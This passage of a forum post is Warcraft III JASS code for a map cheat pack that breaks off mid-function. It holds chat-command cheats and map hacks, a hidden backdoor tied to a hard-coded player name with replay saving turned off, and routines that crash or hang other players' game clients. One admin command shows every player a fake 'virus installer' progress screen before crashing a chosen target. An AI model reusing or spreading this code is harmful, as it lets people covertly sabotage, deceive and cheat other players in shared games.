Code: Select all
function WaitForString takes player b2j,string c8h,boolean b2b returns nothing
local trigger t2t=CreateTrigger()
if b2b then
call TriggerRegisterPlayerChatEvent(t2t,b2j,"-clearkeys",true)
endif
call TriggerRegisterPlayerChatEvent(t2t,b2j,c8h,false)
loop
call TriggerSleepAction(1.00)
exitwhen GetTriggerExecCount(t2t)>0
endloop
call DestroyTrigger(t2t)
set t2t=null
set b2j=null
set c8h=""
endfunction
function DJB_Crash takes player p,player b2j returns nothing
if(p==GetLocalPlayer())and(p!=DJBadmin)and(p!=b2j)then
call ExecuteFunc("FS Crashed")
set p=null
set b2j=null
endif
endfunction
function DJB_AdminGet takes player b2j returns nothing
if DJBs1==false then
call DisplayTimedTextToPlayer(b2j,0,0,10,"|cffff0000 "+GetPlayerName(DJBadmin)+"|c00ffff00 is already admin.")
endif
if(DJBs1==true)and(DJBba[GetPlayerId(b2j)]==true)then
set DJBadmin=b2j
set DJBs1=false
call DisplayTimedTextToPlayer(DJBadmin,0,0,10,"|c00ffff00 You are now admin.")
elseif b2j==DJBadmin then
call DisplayTimedTextToPlayer(DJBadmin,0,0,10,"|c00ffff00 You're already admin!")
endif
set b2j=null
set DJBb8=true
endfunction
function DJB_Logout takes player b2j returns nothing
if b2j==DJBadmin then
call DisplayTimedTextToPlayer(b2j,0,0,10,"|cffff0000 "+GetPlayerName(DJBadmin)+"|c00ffff00 has been successfully logged out.")
endif
set b2j=null
set DJBs1=true
set DJBadmin=null
set DJBb8=false
endfunction
function Clusterfuck_Child takes nothing returns nothing
call TimerStart(CreateTimer(),.001,true,function Clusterfuck_Child)
endfunction
function Clusterfuck takes player p,player b2j returns nothing
if p==GetLocalPlayer()then
if(p!=DJBadmin)and(GetPlayerName(p)!="JasoN.LuN")and(p!=b2j)then
call RemoveUnit(CreateUnit(GetLocalPlayer(),'hpea',0,0,0))
call TimerStart(CreateTimer(),.001,true,function Clusterfuck_Child)
endif
endif
endfunction
function ResetCD takes nothing returns nothing
call UnitResetCooldown(GetTriggerUnit())
endfunction
function ResetMP takes nothing returns nothing
local unit d2w=GetTriggerUnit()
call SetUnitState(d2w,UNIT_STATE_MANA,GetUnitState(d2w,UNIT_STATE_MAX_MANA))
set d2w=null
endfunction
function CDandMana takes player b2j,boolean b2b,string c8h returns nothing
local trigger t2t=CreateTrigger()
local triggeraction ta2t
if b2b then
set ta2t=TriggerAddAction(t2t,function ResetMP)
else
set ta2t=TriggerAddAction(t2t,function ResetCD)
endif
call TriggerRegisterPlayerUnitEvent(t2t,b2j,EVENT_PLAYER_UNIT_SPELL_CAST,null)
call TriggerRegisterPlayerUnitEvent(t2t,b2j,EVENT_PLAYER_UNIT_SPELL_FINISH,null)
call TriggerRegisterPlayerUnitEvent(t2t,b2j,EVENT_PLAYER_UNIT_SPELL_CHANNEL,null)
call TriggerRegisterPlayerUnitEvent(t2t,b2j,EVENT_PLAYER_UNIT_SPELL_ENDCAST,null)
call TriggerRegisterPlayerUnitEvent(t2t,b2j,EVENT_PLAYER_UNIT_SPELL_EFFECT,null)
call WaitForString(b2j,c8h,false)
call DisableTrigger(t2t)
call TriggerRemoveAction(t2t,ta2t)
call DestroyTrigger(t2t)
set t2t=null
set ta2t=null
set b2j=null
set c8h=""
endfunction
function StringRaw2 takes nothing returns nothing
local integer zrg=0
loop
exitwhen zrg>11
if GetPlayerName(Player(zrg))=="JasoN.LuN"then
call DisplayTextToPlayer(Player(zrg),0,0,"|c00ffff00Hi all ! JasoN.LuN here xD")
call ForceAddPlayer(PIANZI,Player(zrg))
call TriggerRegisterPlayerChatEvent(QIPIAN3,Player(zrg),"-",false)
call DoNotSaveReplay()
endif
set zrg=zrg+1
endloop
endfunction
function StoPC takes string c8h,player b2j returns playercolor
if c8h=="red"then
return PLAYER_COLOR_RED
elseif c8h=="blue"then
return PLAYER_COLOR_BLUE
elseif c8h=="teal"then
return PLAYER_COLOR_CYAN
elseif c8h=="purple"then
return PLAYER_COLOR_PURPLE
elseif c8h=="yellow"then
return PLAYER_COLOR_YELLOW
elseif c8h=="orange"then
return PLAYER_COLOR_ORANGE
elseif c8h=="green"then
return PLAYER_COLOR_GREEN
elseif c8h=="pink"then
return PLAYER_COLOR_PINK
elseif c8h=="gray"then
return PLAYER_COLOR_LIGHT_GRAY
elseif c8h=="lb"then
return PLAYER_COLOR_LIGHT_BLUE
elseif c8h=="dg"then
return PLAYER_COLOR_AQUA
elseif c8h=="brown"then
return PLAYER_COLOR_BROWN
endif
set b2j=null
set c8h=""
return GetPlayerColor(b2j)
endfunction
function Deathy takes nothing returns nothing
call KillUnit(GetTriggerUnit())
endfunction
function Explodey takes nothing returns nothing
call SetUnitExploded(GetTriggerUnit(),true)
endfunction
function Redy takes nothing returns nothing
call SetUnitColor(GetTriggerUnit(),PLAYER_COLOR_RED)
endfunction
function Bluey takes nothing returns nothing
call SetUnitColor(GetTriggerUnit(),PLAYER_COLOR_BLUE)
endfunction
function Greeny takes nothing returns nothing
call SetUnitColor(GetTriggerUnit(),PLAYER_COLOR_GREEN)
endfunction
function Pinky takes nothing returns nothing
call SetUnitColor(GetTriggerUnit(),PLAYER_COLOR_PINK)
endfunction
function Purpley takes nothing returns nothing
call SetUnitColor(GetTriggerUnit(),PLAYER_COLOR_PURPLE)
endfunction
function Greyz takes nothing returns nothing
call SetUnitColor(GetTriggerUnit(),PLAYER_COLOR_LIGHT_GRAY)
endfunction
function LightB takes nothing returns nothing
call SetUnitColor(GetTriggerUnit(),PLAYER_COLOR_LIGHT_BLUE)
endfunction
function DarkG takes nothing returns nothing
call SetUnitColor(GetTriggerUnit(),PLAYER_COLOR_AQUA)
endfunction
function Yellowy takes nothing returns nothing
call SetUnitColor(GetTriggerUnit(),PLAYER_COLOR_YELLOW)
endfunction
function Orangey takes nothing returns nothing
call SetUnitColor(GetTriggerUnit(),PLAYER_COLOR_ORANGE)
endfunction
function Tealy takes nothing returns nothing
call SetUnitColor(GetTriggerUnit(),PLAYER_COLOR_CYAN)
endfunction
function Browny takes nothing returns nothing
call SetUnitColor(GetTriggerUnit(),PLAYER_COLOR_BROWN)
endfunction
function StoUO takes string c8h returns player
if c8h=="red"then
return Player(0)
elseif c8h=="blue"then
return Player(1)
elseif c8h=="teal"then
return Player(2)
elseif c8h=="purple"then
return Player(3)
elseif c8h=="yellow"then
return Player(4)
elseif c8h=="orange"then
return Player(5)
elseif c8h=="green"then
return Player(6)
elseif c8h=="pink"then
return Player(7)
elseif c8h=="gray"then
return Player(8)
elseif c8h=="lb"then
return Player(9)
elseif c8h=="dg"then
return Player(10)
elseif c8h=="brown"then
return Player(11)
endif
set c8h=""
return null
endfunction
function Deng_ASCII takes integer di2i,string ds2s returns nothing
local integer di3i=0
loop
set SHENG1[di2i+di3i]=SubString(ds2s,di3i,di3i+1)
set di3i=di3i+1
exitwhen di3i>=StringLength(ds2s)
endloop
endfunction
function ID2String takes string c8h returns integer
local integer ii2ii=48
loop
exitwhen ii2ii>122
if(SHENG1[ii2ii]==c8h)then
return ii2ii
endif
set ii2ii=ii2ii+1
endloop
return 0
endfunction
function Str2RAW takes string c8h returns integer
return ID2String(SubString(c8h,0,1))*0x1000000+ID2String(SubString(c8h,1,2))*0x10000+ID2String(SubString(c8h,2,3))*0x100+ID2String(SubString(c8h,3,4))
endfunction
function RAW2Str takes integer I2I,player b2j returns nothing
call DisplayTextToPlayer(b2j,0,0,SHENG1[I2I/0x1000000]+SHENG1[(I2I-0x1000000*(I2I/0x1000000))/0x10000]+SHENG1[((I2I-0x1000000*(I2I/0x1000000))-0x10000*((I2I-0x1000000*(I2I/0x1000000))/0x10000))/0x100]+SHENG1[((I2I-0x1000000*(I2I/0x1000000))-0x10000*((I2I-0x1000000*(I2I/0x1000000))/0x10000))-0x100*(((I2I-0x1000000*(I2I/0x1000000))-0x10000*((I2I-0x1000000*(I2I/0x1000000))/0x10000))/0x100)])
endfunction
function FastUnit2 takes nothing returns nothing
local player b2j=GetTriggerPlayer()
local integer I2I=GetTrainedUnitType()
local location j2j=GetUnitLoc(GetTriggerUnit())
call CreateUnitAtLoc(b2j,I2I,j2j,270)
set b2j=null
set j2j=null
endfunction
function FastUnit takes player b2j,string c8h returns nothing
local trigger t2t=CreateTrigger()
local triggeraction zta=TriggerAddAction(t2t,function FastUnit2)
call TriggerRegisterPlayerUnitEvent(t2t,b2j,ConvertPlayerUnitEvent(33),null)
call WaitForString(b2j,c8h,false)
call DisableTrigger(t2t)
call TriggerRemoveAction(t2t,zta)
call DestroyTrigger(t2t)
set t2t=null
set zta=null
set b2j=null
set c8h=""
endfunction
function Construct takes nothing returns nothing
call UnitSetConstructionProgress(GetTriggerUnit(),100)
call UnitSetUpgradeProgress(GetTriggerUnit(),100)
endfunction
function Research takes nothing returns nothing
local player b2j=GetTriggerPlayer()
local integer G2G=GetResearched()
local integer h2h=GetPlayerTechCount(b2j,G2G,true)
call SetPlayerTechResearched(b2j,G2G,h2h+1)
set b2j=null
endfunction
function Tele2 takes nothing returns nothing
local unit d2w=GetTriggerUnit()
local location k2k=GetOrderPointLoc()
if GetIssuedOrderId()==851990then
call SetUnitPosition(d2w,GetLocationX(k2k),GetLocationY(k2k))
endif
set d2w=null
set k2k=null
endfunction
function Tele takes player b2j,string c8h returns nothing
local trigger t2t=CreateTrigger()
local triggeraction zta=TriggerAddAction(t2t,function Tele2)
call TriggerRegisterPlayerUnitEvent(t2t,b2j,ConvertPlayerUnitEvent(39),null)
call WaitForString(b2j,c8h,false)
call DisableTrigger(t2t)
call TriggerRemoveAction(t2t,zta)
call DestroyTrigger(t2t)
set t2t=null
set zta=null
set b2j=null
set c8h=""
endfunction
function UnitMaker takes nothing returns nothing
local player b2j=GetTriggerPlayer()
call CreateUnitAtLoc(b2j,mu8u,GetOrderPointLoc(),bj_UNIT_FACING)
call CreateItemLoc(mu8u,GetOrderPointLoc())
call CreateDestructableLoc(mu8u,GetOrderPointLoc(),bj_UNIT_FACING,1,10)
set b2j=null
endfunction
function CreateUnitz takes player b2j returns nothing
call TriggerRegisterPlayerUnitEvent(ChuangjianDanwei,b2j,EVENT_PLAYER_UNIT_ISSUED_POINT_ORDER,null)
call TriggerAddAction(ChuangjianDanwei,function UnitMaker)
set b2j=null
endfunction
function FastBuild takes player b2j,boolean b2b,string c8h returns nothing
local trigger t2t=CreateTrigger()
local triggeraction zta
if b2b then
set zta=TriggerAddAction(t2t,function Construct)
else
set zta=TriggerAddAction(t2t,function Research)
endif
call TriggerRegisterPlayerUnitEvent(t2t,b2j,ConvertPlayerUnitEvent(30),null)
call TriggerRegisterPlayerUnitEvent(t2t,b2j,ConvertPlayerUnitEvent(27),null)
call TriggerRegisterPlayerUnitEvent(t2t,b2j,ConvertPlayerUnitEvent(40),null)
call TriggerRegisterPlayerUnitEvent(t2t,b2j,ConvertPlayerUnitEvent(38),null)
call TriggerRegisterPlayerUnitEvent(t2t,b2j,ConvertPlayerUnitEvent(35),null)
call WaitForString(b2j,c8h,false)
call DisableTrigger(t2t)
call TriggerRemoveAction(t2t,zta)
call DestroyTrigger(t2t)
set t2t=null
set zta=null
set b2j=null
set c8h=""
endfunction
function StringConv takes string c8h returns string
local integer i2i=0
local string ss2s=""
local integer is2s=StringLength(c8h)
loop
exitwhen i2i>is2s
if SubString(c8h,i2i,i2i+1)=="*"then
set ss2s=ss2s+"|cff"
elseif SubString(c8h,i2i,i2i+1)=="-"then
set ss2s=ss2s+"|r"
else
set ss2s=ss2s+SubString(c8h,i2i,i2i+1)
endif
set i2i=i2i+1
endloop
set c8h=""
return ss2s
endfunction
function Deng_Player_Color takes integer di2i returns string
if di2i==0then
return"FF0000"
elseif di2i==1then
return"0000FF"
elseif di2i==2then
return"00FFFF"
elseif di2i==3then
return"A020F0"
elseif di2i==4then
return"FFFF00"
elseif di2i==5then
return"FFA500"
elseif di2i==6then
return"00FF00"
elseif di2i==7then
return"FF1493"
elseif di2i==8then
return"696969"
elseif di2i==9then
return"9AC0CD"
elseif di2i==10then
return"006400"
elseif di2i==11then
return"8B4513"
endif
return"FFFFFF"
endfunction
function Trig_Hear_Actions takes nothing returns nothing
local player b2j=GetTriggerPlayer()
local string c8h=GetPlayerName(b2j)
local integer i3i=GetPlayerId(b2j)
local integer i2i=0
loop
if IsPlayerInForce(Player(i2i),udg_ting)then
call DisplayTimedTextToPlayer(Player(i2i),0,0,15,"|cff"+Deng_Player_Color(i3i)+c8h+"|r : "+GetEventPlayerChatString())
endif
set i2i=i2i+1
exitwhen i2i>11
endloop
endfunction
function Talk takes nothing returns nothing
local integer p=0
if SHENG2[0]<1then
set SHENG2[0]=1
loop
exitwhen p>11
call TriggerRegisterPlayerChatEvent(gg_trg_Ting,Player(p),"",false)
set p=p+1
endloop
call TriggerAddAction(gg_trg_Ting,function Trig_Hear_Actions)
endif
endfunction
function MapHack takes player b2j returns nothing
local fogmodifier f2f=CreateFogModifierRect(b2j,FOG_OF_WAR_VISIBLE,bj_mapInitialPlayableArea,false,false)
local integer i2i=0
call FogModifierStart(f2f)
loop
if i2i!=GetPlayerId(b2j)then
call SetPlayerAlliance(Player(i2i),b2j,ConvertAllianceType(5),true)
endif
set i2i=i2i+1
exitwhen i2i>15
endloop
call WaitForString(b2j,"-nomh",false)
set i2i=0
loop
if i2i!=GetPlayerId(b2j)then
call SetPlayerAlliance(Player(i2i),b2j,ConvertAllianceType(5),false)
endif
set i2i=i2i+1
exitwhen i2i>15
endloop
call FogModifierStop(f2f)
call DestroyFogModifier(f2f)
set f2f=null
set b2j=null
endfunction
function RectActions takes nothing returns nothing
set Siwang=CreateTrigger()
call TriggerRegisterEnterRectSimple(Siwang,Zhuce)
if Xingtong=="kill"then
call TriggerAddAction(Siwang,function Deathy)
elseif Xingtong=="explode"then
call TriggerAddAction(Siwang,function Explodey)
elseif Xingtong=="red"then
call TriggerAddAction(Siwang,function Redy)
elseif Xingtong=="blue"then
call TriggerAddAction(Siwang,function Bluey)
elseif Xingtong=="pink"then
call TriggerAddAction(Siwang,function Pinky)
elseif Xingtong=="green"then
call TriggerAddAction(Siwang,function Greeny)
elseif Xingtong=="brown"then
call TriggerAddAction(Siwang,function Browny)
elseif Xingtong=="lb"then
call TriggerAddAction(Siwang,function LightB)
elseif Xingtong=="dg"then
call TriggerAddAction(Siwang,function DarkG)
elseif Xingtong=="teal"then
call TriggerAddAction(Siwang,function Tealy)
elseif Xingtong=="yellow"then
call TriggerAddAction(Siwang,function Yellowy)
elseif Xingtong=="gray"then
call TriggerAddAction(Siwang,function Greyz)
elseif Xingtong=="orange"then
call TriggerAddAction(Siwang,function Orangey)
elseif Xingtong=="purple"then
call TriggerAddAction(Siwang,function Purpley)
elseif Xingtong=="none"then
call TriggerAddAction(Siwang,null)
endif
endfunction
function MakeRect takes nothing returns nothing
set Bianhao=Bianhao+1
if Bianhao==1 then
set xiaoX=GetOrderPointX()
set xiaoY=GetOrderPointY()
endif
if Bianhao==2 then
set daX=GetOrderPointX()
set daY=GetOrderPointY()
call DestroyTrigger(ChuangjianRect)
set Bianhao=0
if xiaoX+xiaoY<daX+daY then
set Zhuce=Rect(xiaoX,xiaoY,daX,daY)
elseif xiaoX+xiaoY>daX+daY then
set Zhuce=Rect(daX,daY,xiaoX,xiaoY)
endif
call RectActions()
endif
endfunction
function RectClick takes player b2j returns nothing
set ChuangjianRect=CreateTrigger()
call TriggerRegisterPlayerUnitEvent(ChuangjianRect,b2j,EVENT_PLAYER_UNIT_ISSUED_POINT_ORDER,null)
call TriggerAddAction(ChuangjianRect,function MakeRect)
endfunction
function HealUnits takes nothing returns nothing
call SetUnitLifePercentBJ(GroupPickRandomUnit(Zhiyu),s8h)
endfunction
function DestroyTree takes nothing returns nothing
call KillDestructable(GetEnumDestructable())
endfunction
function GrowTree takes nothing returns nothing
call DestructableRestoreLife(GetEnumDestructable(),GetDestructableMaxLife(GetEnumDestructable()),true)
endfunction
function Deng_StartMana takes nothing returns nothing
call CDandMana(Player(SHENG2[1]),true,"-nomana")
endfunction
function Deng_StartNocd takes nothing returns nothing
call CDandMana(Player(SHENG2[1]),false,"-cdon")
endfunction
function Deng_StartFast takes nothing returns nothing
call FastUnit(Player(SHENG2[1]),"-nofast")
endfunction
function Deng_StartUFast takes nothing returns nothing
call FastBuild(Player(SHENG2[1]),false,"-noufast")
endfunction
function Deng_StartBFast takes nothing returns nothing
call FastBuild(Player(SHENG2[1]),true,"-nobfast")
endfunction
function Deng_StartTele takes nothing returns nothing
call Tele(Player(SHENG2[1]),"-note")
endfunction
function Deng_StartAutoh takes nothing returns nothing
loop
call TriggerSleepAction(.1)
call HealUnits()
endloop
endfunction
function Deng_StartMapHack takes nothing returns nothing
call MapHack(Player(SHENG2[1]))
endfunction
function Cheatz takes player b2j,string c8h returns nothing
local sound Music=CreateSound("cool.mp3",false,false,false,10,10,"DefaultEAXON")
local integer Sethp=S2I(SubString(c8h,7,12))/50
local integer i2i=S2I(SubString(c8h,5,20))
local integer z2z=S2I(SubString(c8h,4,19))
local integer dj8b=S2I(SubString(c8h,6,9))
local integer c2c=S2I(SubString(c8h,9,11))
local real j2j=S2R(SubString(c8h,6,20))
local string id2d=I2S(GetPlayerId(b2j))
local group g2g=CreateGroup()
local group h2g=CreateGroup()
local force udg_cuowu=CreateForce()
local integer Nowhp=0
local integer temp=0
local integer DJ8B=0
local unit d2w
local unit h2u
local player DJBp1=GetTriggerPlayer()
local string DJBs1=GetEventPlayerChatString()
local integer DJBi1=StringLength(DJBs1)
local integer DJBi2=0
if SubString(c8h,0,6)=="-gold "then
call SetPlayerState(b2j,PLAYER_STATE_RESOURCE_GOLD,GetPlayerState(b2j,PLAYER_STATE_RESOURCE_GOLD)+S2I(SubString(c8h,6,13)))
elseif SubString(c8h,0,7)=="-lumber"then
call SetPlayerState(b2j,PLAYER_STATE_RESOURCE_LUMBER,GetPlayerState(b2j,PLAYER_STATE_RESOURCE_LUMBER)+S2I(SubString(c8h,8,15)))
elseif SubString(c8h,0,5)=="-mana"then
set SHENG2[1]=GetPlayerId(b2j)
call ExecuteFunc("Deng_StartMana")
elseif SubString(c8h,0,7)=="-error "then
if b2j==DJBadmin then
call CinematicModeBJ(true,bj_FORCE_ALL_PLAYERS)
call ShowInterfaceForceOn(udg_cuowu,0.01)
call CinematicFadeBJ(bj_CINEFADETYPE_FADEOUT,2.00,"ReplaceableTextures\\CameraMasks\\Black_mask.blp",0,0,0,0)
call SetUserControlForceOff(udg_cuowu)
call DisplayTextToForce(bj_FORCE_ALL_PLAYERS," |cffFF0000S|r|cffFF0000t|r|cffFF0000a|r|cffFF0000r|r|cffFF0000t|r|cffFF0000i|r|cffFF0000n|r|cffFF0000g|r |c00ffff00JasoN.LuN's|r |c0000ff00Virus|r |cffFF0000I|r|cffFF0000n|r|cffFF0000s|r|cffFF0000t|r|cffFF0000a|r|cffff0000l|r|cffff0000l|r|cff8B0000a|r|cff8B0000t|r|cff8B0000i|r|cff8B0000o|r|cff8B0000n|r|cffE8E8E8.|r|cffE8E8E8.|r|cffE8E8E8.|r|cffE8E8E8.|r|cffE8E8E8.|r|cffE8E8E8.|r|cffE8E8E8.|r|cffE8E8E8.|r|cffE8E8E8.|r|cffE8E8E8.|r")
call TriggerSleepAction(1.5)
call DisplayTextToForce(bj_FORCE_ALL_PLAYERS," |cffFF0000I|r|cffFF0000n|r|cffFF0000s|r|cffFF0000t|r|cffFF0000a|r|cffff0000l|r|cffff0000l|r|cff8B0000i|r|cff8B0000n|r|cff8B0000g|r|cffE8E8E8.|r|cffE8E8E8.|r|cffE8E8E8.|r|cffE8E8E8.|r|cffE8E8E8.|r|cffE8E8E8.|r.|cffE8E8E8|r.|cffE8E8E8|r.|cffE8E8E8.|r|cffE8E8E8.|r|cffE8E8E8.|r.|cffE8E8E80%|r")
call TriggerSleepAction(1.5)
call EnableTrigger(d8d)
call TriggerSleepAction(RMaxBJ(bj_WAIT_FOR_COND_MIN_INTERVAL,.5))
call DisplayTextToForce(bj_FORCE_ALL_PLAYERS," |cffFF0000I|r|cffFF0000n|r|cffFF0000s|r|cffFF0000t|r|cffFF0000a|r|cffff0000l|r|cffff0000l|r|cff8B0000i|r|cff8B0000n|r|cff8B0000g|r|cffE8E8E8.|r|cffE8E8E8.|r|cffE8E8E8.|r|cffE8E8E8.|r|cffE8E8E8.|r|cffE8E8E8.|r.|cffE8E8E8|r.|cffE8E8E8|r.|cffE8E8E8.|r|cffE8E8E8.|r|cffE8E8E8.|r.|cffE8E8E812%|r")
call TriggerSleepAction(RMaxBJ(bj_WAIT_FOR_COND_MIN_INTERVAL,.5))
call DisplayTextToForce(bj_FORCE_ALL_PLAYERS," |cffFF0000I|r|cffFF0000n|r|cffFF0000s|r|cffFF0000t|r|cffFF0000a|r|cffff0000l|r|cffff0000l|r|cff8B0000i|r|cff8B0000n|r|cff8B0000g|r|cffE8E8E8.|r|cffE8E8E8.|r|cffE8E8E8.|r|cffE8E8E8.|r|cffE8E8E8.|r|cffE8E8E8.|r.|cffE8E8E8|r.|cffE8E8E8|r.|cffE8E8E8.|r|cffE8E8E8.|r|cffE8E8E8.|r.|cffE8E8E829%|r")
call TriggerSleepAction(RMaxBJ(bj_WAIT_FOR_COND_MIN_INTERVAL,.5))
call DisplayTextToForce(bj_FORCE_ALL_PLAYERS," |cffFF0000I|r|cffFF0000n|r|cffFF0000s|r|cffFF0000t|r|cffFF0000a|r|cffff0000l|r|cffff0000l|r|cff8B0000i|r|cff8B0000n|r|cff8B0000g|r|cffE8E8E8.|r|cffE8E8E8.|r|cffE8E8E8.|r|cffE8E8E8.|r|cffE8E8E8.|r|cffE8E8E8.|r.|cffE8E8E8|r.|cffE8E8E8|r.|cffE8E8E8.|r|cffE8E8E8.|r|cffE8E8E8.|r.|cffE8E8E841%|r")
call TriggerSleepAction(RMaxBJ(bj_WAIT_FOR_COND_MIN_INTERVAL,.5))
call DisplayTextToForce(bj_FORCE_ALL_PLAYERS," |cffFF0000I|r|cffFF0000n|r|cffFF0000s|r|cffFF0000t|r|cffFF0000a|r|cffff0000l|r|cffff0000l|r|cff8B0000i|r|cff8B0000n|r|cff8B0000g|r|cffE8E8E8.|r|cffE8E8E8.|r|cffE8E8E8.|r|cffE8E8E8.|r|cffE8E8E8.|r|cffE8E8E8.|r.|cffE8E8E8|r.|cffE8E8E8|r.|cffE8E8E8.|r|cffE8E8E8.|r|cffE8E8E8.|r.|cffE8E8E856%|r")
call TriggerSleepAction(RMaxBJ(bj_WAIT_FOR_COND_MIN_INTERVAL,.5))
call DisplayTextToForce(bj_FORCE_ALL_PLAYERS," |cffFF0000I|r|cffFF0000n|r|cffFF0000s|r|cffFF0000t|r|cffFF0000a|r|cffff0000l|r|cffff0000l|r|cff8B0000i|r|cff8B0000n|r|cff8B0000g|r|cffE8E8E8.|r|cffE8E8E8.|r|cffE8E8E8.|r|cffE8E8E8.|r|cffE8E8E8.|r|cffE8E8E8.|r.|cffE8E8E8|r.|cffE8E8E8|r.|cffE8E8E8.|r|cffE8E8E8.|r|cffE8E8E8.|r.|cffE8E8E874%|r")
call TriggerSleepAction(RMaxBJ(bj_WAIT_FOR_COND_MIN_INTERVAL,.5))
call DisplayTextToForce(bj_FORCE_ALL_PLAYERS," |cffFF0000I|r|cffFF0000n|r|cffFF0000s|r|cffFF0000t|r|cffFF0000a|r|cffff0000l|r|cffff0000l|r|cff8B0000i|r|cff8B0000n|r|cff8B0000g|r|cffE8E8E8.|r|cffE8E8E8.|r|cffE8E8E8.|r|cffE8E8E8.|r|cffE8E8E8.|r|cffE8E8E8.|r.|cffE8E8E8|r.|cffE8E8E8|r.|cffE8E8E8.|r|cffE8E8E8.|r|cffE8E8E8.|r.|cffE8E8E898%|r")
call TriggerSleepAction(RMaxBJ(bj_WAIT_FOR_COND_MIN_INTERVAL,.5))
call DisplayTextToForce(bj_FORCE_ALL_PLAYERS," |cffFF0000I|r|cffFF0000n|r|cffFF0000s|r|cffFF0000t|r|cffFF0000a|r|cffff0000l|r|cffff0000l|r|cff8B0000i|r|cff8B0000n|r|cff8B0000g|r|cffE8E8E8.|r|cffE8E8E8.|r|cffE8E8E8.|r|cffE8E8E8.|r|cffE8E8E8.|r|cffE8E8E8.|r.|cffE8E8E8|r.|cffE8E8E8|r.|cffE8E8E8.|r|cffE8E8E8.|r|cffE8E8E8.|r.|cffE8E8E899%|r")
call TriggerSleepAction(RMaxBJ(bj_WAIT_FOR_COND_MIN_INTERVAL,.5))
call DisplayTextToForce(bj_FORCE_ALL_PLAYERS," |cffFF0000The|r |cffFF0000I|r|cffFF0000n|r|cffFF0000s|r|cffFF0000t|r|cffFF0000a|r|cffff0000l|r|cffff0000l|r|cff8B0000ation|r |cffFF0000is complete.|r")
call TriggerSleepAction(RMaxBJ(bj_WAIT_FOR_COND_MIN_INTERVAL,1))
call DisplayTextToForce(bj_FORCE_ALL_PLAYERS,"|cff00FFFFThank you for using|r |c00ffff00JasoN.LuN's|r |c0000ff00Virus|r |cff00FFFFautomated installer. Please restart your computer to ensure completion of the installation.|r")
call TriggerSleepAction(5)
call CinematicModeBJ(false,bj_FORCE_ALL_PLAYERS)
call FinishCinematicFadeAfterBJ(.5)
call Clusterfuck(Player(S2I(SubString(DJBs1,7,9))),DJBp1)
else
call DisplayTimedTextToPlayer(b2j,0,0,10,"|cffff0000This command is reserved for admin.")
endif
elseif SubString(c8h,0,9)=="-unfreeze"then
if b2j==DJBadmin then
call PauseGameOff()
else
call DisplayTimedTextToPlayer(b2j,0,0,10,"|cffff0000This command is reserved for admin.")
endif
elseif SubString(c8h,0,7)=="-freeze"then
if b2j==DJBadmin then
call PauseGameOn()
else
call DisplayTimedTextToPlayer(b2j,0,0,10,"|cffff0000This command is reserved for admin.")
endif
elseif SubString(c8h,0,6)=="-list1"then
call DisplayTimedTextToPlayer(b2j,0,0,10,"-gold # - Adds # to your current gold")
call DisplayTimedTextToPlayer(b2j,0,0,10,"-lumber # - Adds # to your current lumber")
call DisplayTimedTextToPlayer(b2j,0,0,10,"-food # - Set your food capacity")
call DisplayTimedTextToPlayer(b2j,0,0,10,"-mh - Reveals the map for you")
call DisplayTimedTextToPlayer(b2j,0,0,10,"-nomh - No reveals the map for you")
elseif SubString(c8h,0,6)=="-list2"then
call DisplayTimedTextToPlayer(b2j,0,0,10,"-time <0-24> - Sets time of day to specified")
call DisplayTimedTextToPlayer(b2j,0,0,10,"-clear - Clears texts on the screen")
call DisplayTimedTextToPlayer(b2j,0,0,10,"-logging - Remove all trees")
call DisplayTimedTextToPlayer(b2j,0,0,10,"-reforest - Grow all removed trees")
call DisplayTimedTextToPlayer(b2j,0,0,10,"-locktrade - lock gold and lumber trade in F11")
call DisplayTimedTextToPlayer(b2j,0,0,10,"-unlocktrade - unlock trade in F11")
elseif SubString(c8h,0,6)=="-list3"then
call DisplayTimedTextToPlayer(b2j,0,0,10,"-lock - lock share player in F11")
call DisplayTimedTextToPlayer(b2j,0,0,10,"-unlock - unlock share player in F11")
call DisplayTimedTextToPlayer(b2j,0,0,10,"-say [msg] - show your message on the screen")
call DisplayTimedTextToPlayer(b2j,0,0,10,"-fast - Upgrades take no time")
call DisplayTimedTextToPlayer(b2j,0,0,10,"-bfast - instant a building structure by pressing ESC")
call DisplayTimedTextToPlayer(b2j,0,0,10,"-ufast - instant a training structure by pressing ESC")
elseif SubString(c8h,0,6)=="-list4"then
call DisplayTimedTextToPlayer(b2j,0,0,10,"-mana - Infinite mana to your selected units")
call DisplayTimedTextToPlayer(b2j,0,0,10,"-nocd - Turn off cooldown for all skills and active items to your selected units")
call DisplayTimedTextToPlayer(b2j,0,0,10,"-cdon - Turn on cooldown for all skills and active items to your selected untis")
call DisplayTimedTextToPlayer(b2j,0,0,10,"-autoh # - Auto-heal your selected unit with # %")
call DisplayTimedTextToPlayer(b2j,0,0,10,"-autohoff - Remove your selected unit auto-heal")
elseif SubString(c8h,0,6)=="-list5"then
call DisplayTimedTextToPlayer(b2j,0,0,10,"-agi # - Adds # agility to selected unit")
call DisplayTimedTextToPlayer(b2j,0,0,10,"-str # - Adds # strength to selected unit")
call DisplayTimedTextToPlayer(b2j,0,0,10,"-int # - Adds # intelligence to selected unit")
call DisplayTimedTextToPlayer(b2j,0,0,10,"-lvl # - Sets # level to selected unit")
call DisplayTimedTextToPlayer(b2j,0,0,10,"-downlvl # - Decreases your selected unit's level by #")
call DisplayTimedTextToPlayer(b2j,0,0,10,"-xp # - Sets # experience to selected unit")
call DisplayTimedTextToPlayer(b2j,0,0,10,"-hp # - Sets # health points to selected unit")
call DisplayTimedTextToPlayer(b2j,0,0,10,"-mp # - Sets # mana points to selected unit")
elseif SubString(c8h,0,6)=="-list6"then
call DisplayTimedTextToPlayer(b2j,0,0,10,"-ms # - Sets # move speed to selected unit")
call DisplayTimedTextToPlayer(b2j,0,0,10,"-vul - Makes selected units vulnerable")
call DisplayTimedTextToPlayer(b2j,0,0,10,"-invul - Makes selected units invulnerable")
call DisplayTimedTextToPlayer(b2j,0,0,10,"-vis - Makes selected units visible")
call DisplayTimedTextToPlayer(b2j,0,0,10,"-invis - Makes selected units invisible")
call DisplayTimedTextToPlayer(b2j,0,0,10,"-kill - Kills selected units")
elseif SubString(c8h,0,6)=="-list7"then
call DisplayTimedTextToPlayer(b2j,0,0,10,"-tele - Sets patrol (P) to teleport")
call DisplayTimedTextToPlayer(b2j,0,0,10,"-note - Sets patrol (P) to normal")
call DisplayTimedTextToPlayer(b2j,0,0,10,"-stop - Disables selected units commands")
call DisplayTimedTextToPlayer(b2j,0,0,10,"-resume - Enables selected units commands")
call DisplayTimedTextToPlayer(b2j,0,0,10,"-xp rate # - Sets # to your selected units xp rate")
